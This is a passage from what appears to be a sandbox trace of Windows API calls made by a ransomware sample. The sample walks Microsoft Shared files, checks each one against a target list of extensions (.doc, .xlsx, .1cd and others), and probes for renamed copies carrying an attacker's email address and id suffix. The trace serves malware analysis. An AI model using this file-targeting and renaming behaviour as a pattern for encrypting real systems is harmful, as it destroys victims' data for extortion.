"c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll")) returned 1 [0054.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0054.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0054.283] lstrlenW (lpString=".doc") returned 4 [0054.283] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0054.283] lstrlenW (lpString=".docx") returned 5 [0054.283] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0054.283] lstrlenW (lpString=".pdf") returned 4 [0054.284] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0054.284] lstrlenW (lpString=".xls") returned 4 [0054.284] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0054.284] lstrlenW (lpString=".xlsx") returned 5 [0054.284] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0054.284] lstrlenW (lpString=".ppt") returned 4 [0054.284] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0054.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0054.284] lstrlenW (lpString=".zip") returned 4 [0054.284] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0054.284] lstrlenW (lpString=".rar") returned 4 [0054.284] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0054.284] lstrlenW (lpString=".bz2") returned 4 [0054.284] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0054.284] lstrlenW (lpString=".7z") returned 3 [0054.284] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0054.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0054.284] lstrlenW (lpString=".dbf") returned 4 [0054.284] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0054.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0054.284] lstrlenW (lpString=".1cd") returned 4 [0054.284] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0054.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0054.284] lstrlenW (lpString=".jpg") returned 4 [0054.284] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0054.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0054.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0054.284] lstrlenW (lpString=".doc") returned 4 [0054.284] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0054.284] lstrlenW (lpString=".docx") returned 5 [0054.285] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0054.285] lstrlenW (lpString=".pdf") returned 4 [0054.285] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0054.285] lstrlenW (lpString=".xls") returned 4 [0054.285] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0054.285] lstrlenW (lpString=".xlsx") returned 5 [0054.285] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0054.285] lstrlenW (lpString=".ppt") returned 4 [0054.285] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0054.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0054.285] lstrlenW (lpString=".zip") returned 4 [0054.285] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0054.285] lstrlenW (lpString=".rar") returned 4 [0054.285] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0054.285] lstrlenW (lpString=".bz2") returned 4 [0054.285] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0054.285] lstrlenW (lpString=".7z") returned 3 [0054.285] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0054.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0054.285] lstrlenW (lpString=".dbf") returned 4 [0054.285] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0054.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0054.285] lstrlenW (lpString=".1cd") returned 4 [0054.285] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0054.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0054.285] lstrlenW (lpString=".jpg") returned 4 [0054.285] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0054.285] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0054.285] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0054.286] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0054.744] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=3584) returned 1 [0054.747] CloseHandle (hObject=0x198) returned 1 [0054.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui")) returned 0x20 [0054.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0054.760] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0054.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0054.769] lstrlenW (lpString=".doc") returned 4 [0054.769] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0054.770] lstrlenW (lpString=".docx") returned 5 [0054.771] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0054.771] lstrlenW (lpString=".pdf") returned 4 [0054.772] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0054.772] lstrlenW (lpString=".xls") returned 4 [0054.773] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0054.774] lstrlenW (lpString=".xlsx") returned 5 [0054.776] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0054.776] lstrlenW (lpString=".ppt") returned 4 [0054.777] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0054.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0054.779] lstrlenW (lpString=".zip") returned 4 [0054.780] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0054.781] lstrlenW (lpString=".rar") returned 4 [0054.781] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0054.782] lstrlenW (lpString=".bz2") returned 4 [0054.782] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0054.783] lstrlenW (lpString=".7z") returned 3 [0054.783] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0054.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0054.784] lstrlenW (lpString=".dbf") returned 4 [0054.785] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0054.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0054.786] lstrlenW (lpString=".1cd") returned 4 [0054.787] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0054.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0054.789] lstrlenW (lpString=".jpg") returned 4 [0054.789] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0054.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0054.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0054.795] lstrlenW (lpString=".doc") returned 4 [0054.795] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0054.797] lstrlenW (lpString=".docx") returned 5 [0054.797] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0054.797] lstrlenW (lpString=".pdf") returned 4 [0054.797] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0054.798] lstrlenW (lpString=".xls") returned 4 [0054.799] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0054.800] lstrlenW (lpString=".xlsx") returned 5 [0054.801] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0054.802] lstrlenW (lpString=".ppt") returned 4 [0054.804] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0054.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0054.806] lstrlenW (lpString=".zip") returned 4 [0054.806] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0054.807] lstrlenW (lpString=".rar") returned 4 [0054.807] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0054.807] lstrlenW (lpString=".bz2") returned 4 [0054.808] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0054.809] lstrlenW (lpString=".7z") returned 3 [0054.809] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0054.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0054.810] lstrlenW (lpString=".dbf") returned 4 [0054.810] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0054.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0054.811] lstrlenW (lpString=".1cd") returned 4 [0054.812] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0054.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0054.814] lstrlenW (lpString=".jpg") returned 4 [0054.816] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0054.820] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0054.823] lstrlenW (lpString="InkObj.dll.mui") returned 14 [0054.823] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0055.300] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=4608) returned 1 [0055.300] CloseHandle (hObject=0x190) returned 1 [0055.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui")) returned 0x20 [0055.427] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0055.427] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0055.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0055.427] lstrlenW (lpString=".doc") returned 4 [0055.427] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0055.428] lstrlenW (lpString=".docx") returned 5 [0055.428] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0055.428] lstrlenW (lpString=".pdf") returned 4 [0055.428] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0055.428] lstrlenW (lpString=".xls") returned 4 [0055.428] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0055.428] lstrlenW (lpString=".xlsx") returned 5 [0055.428] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0055.428] lstrlenW (lpString=".ppt") returned 4 [0055.428] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0055.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0055.428] lstrlenW (lpString=".zip") returned 4 [0055.428] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0055.428] lstrlenW (lpString=".rar") returned 4 [0055.428] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0055.428] lstrlenW (lpString=".bz2") returned 4 [0055.428] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0055.428] lstrlenW (lpString=".7z") returned 3 [0055.428] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0055.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0055.428] lstrlenW (lpString=".dbf") returned 4 [0055.428] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0055.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0055.428] lstrlenW (lpString=".1cd") returned 4 [0055.428] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0055.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0055.428] lstrlenW (lpString=".jpg") returned 4 [0055.428] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0055.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0055.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0055.428] lstrlenW (lpString=".doc") returned 4 [0055.428] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0055.429] lstrlenW (lpString=".docx") returned 5 [0055.429] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0055.429] lstrlenW (lpString=".pdf") returned 4 [0055.429] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0055.429] lstrlenW (lpString=".xls") returned 4 [0055.429] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0055.429] lstrlenW (lpString=".xlsx") returned 5 [0055.429] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0055.429] lstrlenW (lpString=".ppt") returned 4 [0055.429] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0055.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0055.429] lstrlenW (lpString=".zip") returned 4 [0055.429] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0055.429] lstrlenW (lpString=".rar") returned 4 [0055.429] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0055.429] lstrlenW (lpString=".bz2") returned 4 [0055.429] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0055.429] lstrlenW (lpString=".7z") returned 3 [0055.429] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0055.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0055.429] lstrlenW (lpString=".dbf") returned 4 [0055.429] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0055.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0055.429] lstrlenW (lpString=".1cd") returned 4 [0055.429] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0055.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0055.429] lstrlenW (lpString=".jpg") returned 4 [0055.429] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0055.429] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0055.430] lstrlenW (lpString="IPSEventLogMsg.dll.mui") returned 22 [0055.430] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0055.559] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=22528) returned 1 [0055.559] CloseHandle (hObject=0x20c) returned 1 [0055.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui")) returned 0x20 [0055.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0055.592] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0055.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0055.594] lstrlenW (lpString=".doc") returned 4 [0055.594] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0055.594] lstrlenW (lpString=".docx") returned 5 [0055.594] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0055.594] lstrlenW (lpString=".pdf") returned 4 [0055.594] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0055.594] lstrlenW (lpString=".xls") returned 4 [0055.594] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0055.594] lstrlenW (lpString=".xlsx") returned 5 [0055.594] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0055.594] lstrlenW (lpString=".ppt") returned 4 [0055.594] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0055.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0055.594] lstrlenW (lpString=".zip") returned 4 [0055.594] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0055.594] lstrlenW (lpString=".rar") returned 4 [0055.594] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0055.594] lstrlenW (lpString=".bz2") returned 4 [0055.594] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0055.594] lstrlenW (lpString=".7z") returned 3 [0055.594] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0055.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0055.594] lstrlenW (lpString=".dbf") returned 4 [0055.595] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0055.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0055.595] lstrlenW (lpString=".1cd") returned 4 [0055.595] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0055.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0055.595] lstrlenW (lpString=".jpg") returned 4 [0055.595] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0055.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0055.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0055.595] lstrlenW (lpString=".doc") returned 4 [0055.595] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0055.595] lstrlenW (lpString=".docx") returned 5 [0055.595] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0055.595] lstrlenW (lpString=".pdf") returned 4 [0055.595] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0055.595] lstrlenW (lpString=".xls") returned 4 [0055.595] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0055.595] lstrlenW (lpString=".xlsx") returned 5 [0055.595] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0055.595] lstrlenW (lpString=".ppt") returned 4 [0055.595] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0055.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0055.595] lstrlenW (lpString=".zip") returned 4 [0055.595] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0055.595] lstrlenW (lpString=".rar") returned 4 [0055.595] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0055.595] lstrlenW (lpString=".bz2") returned 4 [0055.595] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0055.595] lstrlenW (lpString=".7z") returned 3 [0055.595] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0055.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0055.595] lstrlenW (lpString=".dbf") returned 4 [0055.595] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0055.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0055.596] lstrlenW (lpString=".1cd") returned 4 [0055.596] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0055.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0055.596] lstrlenW (lpString=".jpg") returned 4 [0055.596] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0055.596] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0055.596] lstrlenW (lpString="mshwLatin.dll.mui") returned 17 [0055.596] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0056.084] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=2560) returned 1 [0056.084] CloseHandle (hObject=0x214) returned 1 [0056.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui")) returned 0x20 [0056.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0056.084] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0056.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0056.084] lstrlenW (lpString=".doc") returned 4 [0056.085] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0056.085] lstrlenW (lpString=".docx") returned 5 [0056.085] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0056.085] lstrlenW (lpString=".pdf") returned 4 [0056.085] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0056.085] lstrlenW (lpString=".xls") returned 4 [0056.085] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0056.085] lstrlenW (lpString=".xlsx") returned 5 [0056.085] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0056.085] lstrlenW (lpString=".ppt") returned 4 [0056.085] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0056.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0056.085] lstrlenW (lpString=".zip") returned 4 [0056.085] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0056.085] lstrlenW (lpString=".rar") returned 4 [0056.085] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0056.085] lstrlenW (lpString=".bz2") returned 4 [0056.085] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0056.085] lstrlenW (lpString=".7z") returned 3 [0056.085] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0056.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0056.085] lstrlenW (lpString=".dbf") returned 4 [0056.085] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0056.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0056.085] lstrlenW (lpString=".1cd") returned 4 [0056.085] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0056.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0056.085] lstrlenW (lpString=".jpg") returned 4 [0056.085] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0056.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0056.085] lstrlenW (lpString="C:\\Program 